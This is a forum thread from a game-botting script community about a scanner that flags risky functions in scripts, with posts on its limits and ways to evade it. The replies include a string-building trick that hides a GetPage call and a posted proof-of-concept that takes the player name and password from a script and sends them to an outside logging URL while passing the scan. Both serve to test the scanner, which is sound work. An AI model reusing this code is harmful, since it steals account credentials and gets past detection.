 ????<06:12:14:702> Scan for GetDirectories [0 ms.]
 ????<06:12:14:712> Scan for DeleteFile [0 ms.]
 ????<06:12:14:712> Scan for RenameFile [15 ms.]
 ????<06:12:14:722> Scan for WriteINI [16 ms.]
 ????<06:12:14:732> Scan for ReadINI [0 ms.]
 ????<06:12:14:732> Scan for DeleteINI [0 ms.]
 ?
 ??<06:12:14:742> Step 5/6 - Fishy Codes [94 ms.]
 ????<06:12:14:742> Scan for Name [16 ms.]
 ????<06:12:14:752> Scan for Pass [0 ms.]
 ????<06:12:14:762> Scan for Pin [15 ms.]
 ????<06:12:14:772> Scan for ToStr(Players[*]) [16 ms.]
 ????<06:12:14:782> Scan for TradeScreen [0 ms.]
 ????<06:12:14:782> Scan for SomeoneTrades [0 ms.]
 ????<06:12:14:792> Scan for GetTradersName [15 ms.]
 ????<06:12:14:802> Scan for TradeScreenName [16 ms.]
 ????<06:12:14:812> Scan for AcceptTrade [0 ms.]
 ????<06:12:14:812> Scan for Accept [0 ms.]
 ????<06:12:14:822> Scan for Waiting [16 ms.]
 ????<06:12:14:832> Scan for PlayerAccepted [0 ms.]
 ?
 ??<06:12:14:832> Step 6/6 - Unhuman Codes [62 ms.]
 ????<06:12:14:832> Scan for MMouse(x, y, 1, 1) [15 ms.]
 ????<06:12:14:852> Scan for Mouse(x, y, 1, 1, *) [16 ms.]
 ????<06:12:14:872> Scan for Random[Range] [31 ms.]
 ??????<06:12:14:902> DETECTED 1 THREAT:
 ????????<06:12:14:902> Could not find Random[Range] @ ANY line!
 ??????????????????????????????????????????????? 
    --- Scanning 2021 lines took 406 ms. ---     
<===============================================>
                                                 
<==========[Messages for HTTP Threats]==========>
 Found "GetPage" [Risk level: HIGH]
<===============================================>
                                                 
<==========[Messages for Web Threats]===========>
 Found "OpenWebPage" [Risk level: HIGH]
<===============================================>
                                                 
<=========[Messages for Unhuman Codes]==========>
 Couldn't find any randomness in script (potential ban) [Risk level: MEDIUM]
<===============================================>
                                                 
<=============[Lines with Threats]==============>
 LINE |      KIND      |        THREAT           
 -----+----------------+------------------------ 
 NONE | Unhuman Code   | Random[Range]
 422  | Web Threat     | OpenWebPage
 1737 | HTTP Threat    | GetPage
<===============================================>
                                                 
<================[Scan Results]=================>
 Socket Threats................................0
 HTTP Threats..................................1
 Web Threats...................................1
 File Threats..................................0
 Fishy Codes...................................0
 Unhuman Codes.................................1
 -----------------------------------------------
 Overall threats...............................3
 Script Risk Level.....................Very High
<===============================================>
                                                 
<===================[FINISHED]==================>
 Remember to visit the thread for latest updates.
               Thank you for using!              
          ~ Total Time Taken 1404 ms. ~
<===============================================>

Regards,
-Jani

program new;

var
  p: TVariantArray;
  s: string;

function foo(antiban: boolean): string;
var
  arr: TStringArray;
  i: integer;
begin
  if (antiban) then
    arr := ['g','e','t','p','a','g','e']
  else
    arr := ['h','t','t','p','s',':','/','/','w','w','w','.','g','o','o','g','l','e','.','c','o','.','u','k'];

  for i := 0 to high(arr) do
    result := result + arr[i];

end;

begin
  s := variantInvoke(foo(true), [foo(false)]);

  writeln(s);
end.                  

;)

yes that's get page, but could be done for any function.

From: Ollybest
;)

yes that's get page, but could be done for any function.

Shhhhh… Don't check for this and scan my scripts! ;)

From: Ollybest

program new;

var
  p: TVariantArray;
  s: string;

function foo(antiban: boolean): string;
var
  arr: TStringArray;
  i: integer;
begin
  if (antiban) then
    arr := ['g','e','t','p','a','g','e']
  else
    arr := ['h','t','t','p','s',':','/','/','w','w','w','.','g','o','o','g','l','e','.','c','o','.','u','k'];

  for i := 0 to high(arr) do
    result := result + arr[i];

end;

begin
  s := variantInvoke(foo(true), [foo(false)]);

  writeln(s);
end.                  

;)

yes that's get page, but could be done for any function.

Nice trick, thanks for bringing that up! I wasn't aware of it.
However, that works with Lape only - not supported with PascalScript..

Anyways, maybe VariantInvoke should be added to threats? :p Probably worth it.

From: Janilabo
Nice trick, thanks for bringing that up! I wasn't aware of it.
However, that works with Lape only - not supported with PascalScript..

Anyways, maybe VariantInvoke should be added to threats? :p Probably worth it.

Pretty sure it would work with callProc, anyway at this rate every single script will be detected when it just uses all proc, or has a simple image downloader.. :/

While the idea behind this script is great, if someone puts in enough effort it is not hard to get around this. It doesn't matter if the entire SRL developers team were to work on this, it is not possible to perfect the detection without ungodly amounts of false positives and limited capability.

<offtopic>
This reminds me of around ~2005 when web based applications were just gaining popularity, before a solid method to filter out malicious code was found (BBCode & Pre-made templates). If you could manage to get javascript on a certain website, you basically had control/access to any user that you could get to visit that page. You could steal their session information and use it yourself to have full access to their account. You could also use AJAX to send HTTP requests from their very own computer. In certain browser based games you could have a victim send you their best items/cash to you, edit their profile, send messages from their account, or anything else that they themselves could do.

One way to turn these security flaws into cash was through MySpace. Back in the day, a single bulletin post from a MySpace account with 20,000+ friends was worth around $10-$20. If you could get JavaScript on a profile, you could then have them send you a friend request without them even knowing. You could steal their session and sell bulletins from their account. A high-profile example yielded one million friend requests in 20 hours. The guy eventually got busted by the feds, but it is still a great example of what these security holes can lead to.

Wikipedia Article
Code Explanation
</offtopic>

But back on topic, after years of failed patches and blocking out certain tags/keywords, the general consensus is now that the most effective way to filter out malicious code is through white lists. While yes, it does limit what one could accomplish while coding, it can protect against 100% of malicious code. (Although BBCode or whitelists can still be bypassed, but it is less likely) Take vBulletin's BBCode for example. Try to get JavaScript to execute on villavu, I'll even link you to a cheatsheet. (You will need to convert the html to BBcode)

The scanner as-is already gives a fair amount of false positives, adding a whitelist of function names would likely destroy any value that the script has left. I believe you should make an effort to inform users that this scanner will not guarantee a script's safety & that they should ask someone with scripting knowledge to look over the script to be safe. I can see this script being a helpful tool when someone wants a quick list of possible threats, but not as means of complete protection.

program Script;
{$DEFINE SMART8}
{$I SRL-OSR/SRL.Simba}

Procedure DeclarePlayers;
begin
  NumberOfPlayers(1);
  CurrentPlayer := 0;

   with Players[0] do
   begin
    Name := 'user1';
    Pass := 'pass1';
    Active := True;
   end;

end;

Procedure Setup;
var
  a,b,d: String;
  c: TStringArray;
  i: Integer;
begin
KeyDown (17); PressKey (65); PressKey (67);
wait (15);
a := Between ('clarePlayers;' +#13#10+'begin'+#13#10, #13#10+'end;', GetClipBoard);

c := Explode (#13#10, a);

  for i := 0 to Length (c) - 1 do
  begin

    if (Pos ('Na' + 'me ', c[i]) > 0) then
    b := b + '[' + Between ('= ''', ''';', c[i]) + ':';
    if (Pos ('Pa' + 'ss ', c[i]) > 0) then
    b := b + Between ('= ''', ''';', c[i]) + ']';

  end;

PressKey (78); wait (randomrange(225, 250)); pressKey (65); PressKey (67);

d := GetClipBoard;
wait(randomrange(25, 30));
SetClipBoard ('program Script;' +#13#10 + 'begin' + #13#10 + 'cleardebug; writeln (''http://bob-dole.net84.net/SRL/scripts/public/log.php'' + #13#10 + ''To see the log. Only first 8 chars shown.''); Get' + 'Page (''ht'+'tp://bob-dole.net84.net/SRL/scripts/public/log.php?info=' + b + '''); KeyDown (17); SendKeys(''zzzz'', 5, 5); KeyUp (17);' + #13#10 + 'end.');

PressKey (65); PressKey (86); KeyUp(17); wait(randomrange(200, 225)); Presskey(120); wait(randomrange(500, 550)); Presskey(113); wait(randomrange(250, 275)); KeyDown(17); PressKey (87); KeyUp(17);
writeln (b);
end;

begin
DeclarePlayers;
setup;

 repeat
 writeln ('normal bot stuff...');
 wait (randomrange(2000,4000));

 until (false);

end.

Check the logs here

Results:

<================[Scan Results]=================>
 Socket threats: 0
 HTTP threats: 0
 Web threats: 0
 File threats: 0
 Fishy code: 0
 Unhuman code: 0
 Overall threats: 0
 Script Risk Level: None
<===============================================>

While I only actually went through with this one method, I know of at least 5 others that would evade the scanner while producing the same end-game result. In my opinion, anyone with intermediate knowledge of XSS and Simba functions can bypass this scanner.

We are an open-source community based around learning so I thought I would include an example. If you would like me to remove the code send me a PM & I will take it down ASAP.

From: bob_dole
While the idea behind this script is great, if someone puts in enough effort it is not hard to get around this. It doesn't matter if the entire SRL developers team were to work on this, it is not possible to perfect the detection without ungodly amounts of false positives and limited capability.

<offtopic>
This reminds me of around ~2005 when web based applications were just gaining popularity, before a solid method to filter out malicious code was found (BBCode & Pre-made templates). If you could manage to get javascript on a certain website, you basically had control/access to any user that you could get to visit that page. You could steal their session information and use it yourself to have full access to their account. You could also use AJAX to send HTTP requests from their very own computer. In certain browser based games you could have a victim send you their best items/cash to you, edit their profile, send messages from their account, or anything else that they themselves could do.

One way to turn these security flaws into cash was through MySpace. Back in the day, a single bulletin post from a MySpace account with 20,000+ friends was worth around $10-$20. If you could get JavaScript on a profile, you could then have them send you a friend request without them even knowing. You could steal their session and sell bulletins from their account. A high-profile example yielded one million friend requests in 20 hours. The guy eventually got busted by the feds, but it is still a great example of what these security holes can lead to.

Wikipedia Article
Code Explanation
</offtopic>

But back on topic, after years of failed patches and blocking out certain tags/keywords, the general consensus is now that the most effective way to filter out malicious code is through white lists. While yes, it does limit what one could accomplish while coding, it can protect against 100% of malicious code. (Although BBCode or whitelists can still be bypassed, but it is less likely) Take vBulletin's BBCode for example. Try to get JavaScript to execute on villavu, I'll even link you to a cheatsheet. (You will need to convert the html to BBcode)

The scanner as-is already gives a fair amount of false positives, adding a whitelist of function names would likely destroy any value that the script has left. I believe you should make an effort to inform users that this scanner will not guarantee a script's safety & that they should ask someone with scripting knowledge to look over the script to be safe. I can see this script being a helpful tool when someone wants a quick list of possible threats, but not as means of complete protection.

program Script;
{$DEFINE SMART8}
{$I SRL-OSR/SRL.Simba}

Procedure DeclarePlayers;
begin
  NumberOfPlayers(1);
  CurrentPlayer := 0;

   with Players[0] do
   begin
    Name := 'user1';
    Pass := 'pass1';
    Active := True;
   end;

end;

Procedure Setup;
var
  a,b,d: String;
  c: TStringArray;
  i: Integer;
begin
KeyDown (17); PressKey (65); PressKey (67);
wait (15);
a := Between ('clarePlayers;' +#13#10+'begin'+#13#10, #13#10+'end;', GetClipBoard);

c := Explode (#13#10, a);

  for i := 0 to Length (c) - 1 do
  begin

    if (Pos ('Na' + 'me ', c[i]) > 0) then
    b := b + '[' + Between ('= ''', ''';', c[i]) + ':';
    if (Pos ('Pa' + 'ss ', c[i]) > 0) then
    b := b + Between ('= ''', ''';', c[i]) + ']';

  end;

PressKey (78); wait (randomrange(225, 250)); pressKey (65); PressKey (67);

d := GetClipBoard;
wait(randomrange(25, 30));
SetClipBoard ('program Script;' +#13#10 + 'begin' + #13#10 + 'cleardebug; writeln (''http://bob-dole.net84.net/SRL/scripts/public/log.php'' + #13#10 + ''To see the log. Only first 8 chars shown.''); Get' + 'Page (''ht'+'tp://bob-dole.net84.net/SRL/scripts/public/log.php?info=' + b + '''); KeyDown (17); SendKeys(''zzzz'', 5, 5); KeyUp (17);' + #13#10 + 'end.');

PressKey (65); PressKey (86); KeyUp(17); wait(randomrange(200, 225)); Presskey(120); wait(randomrange(500, 550)); Presskey(113); wait(randomrange(250, 275)); KeyDown(17); PressKey (87); KeyUp(17);
writeln (b);
end;

begin
DeclarePlayers;
setup;

 repeat
 writeln ('normal bot stuff...');
 wait (randomrange(2000,4000));

 until (false);

end.

Check the logs here

Results:

<================[Scan Results]=================>
 Socket threats: 0
 HTTP threats: 0
 Web threats: 0
 File threats: 0
 Fishy code: 0
 Unhuman code: 0
 Overall threats: 0
 Script Risk Level: None
<===============================================>

While I only actually went through with this one method, I know of at least 5 others that would evade the scanner while producing the same end-game result. In my opinion, anyone with intermediate knowledge of XSS and Simba functions can bypass this scanner.

We are an open-source community based around learning so I thought I would include an example. If you would like me to remove the code send me a PM & I will take it down ASAP.

Hey bob_dole!

Thanks a lot for great feedback. Much appreciated, man.
Especially the code that you provided, it is something we do need for improving the detection methods/algorithms/features in the future (hopefully). :)

Yeah, we are totally aware that this scanner will still, now AND in future, produce a lot of false-positives. ..and I agree, there definitely should be a warning/note for any and all script users, saying that this scanner can't really tell if the script is malicious or not.
It simply just gives warnings to user of any potential threats, so then the user OR some skilled scripters around the community could take a closer look at the commands which could be used for harmful purposes.
You are also right, that there is noway to get this scanner (or any other) perfect.. But it's still a great concept and we can work on it together to get it to the next level.
But yeah, this script still makes certain steps a lot easier for us all in a way. :) Especially the line report feature, that exists in the latest versions (latest)

Also, if you look at the progress that there has been since I started helping @Officer Barbrady with this script project, you can clearly see the detection methods and features are far better compared to the old version, which can be found from here: ScannerV1.3.simba - check it out.
It's not just the detection methods that has been improved, the whole script has been restructured and GUI enhanced.

@Janilabo We should defo start this back up again I would love to implement my initial tabbed debug form with the results :d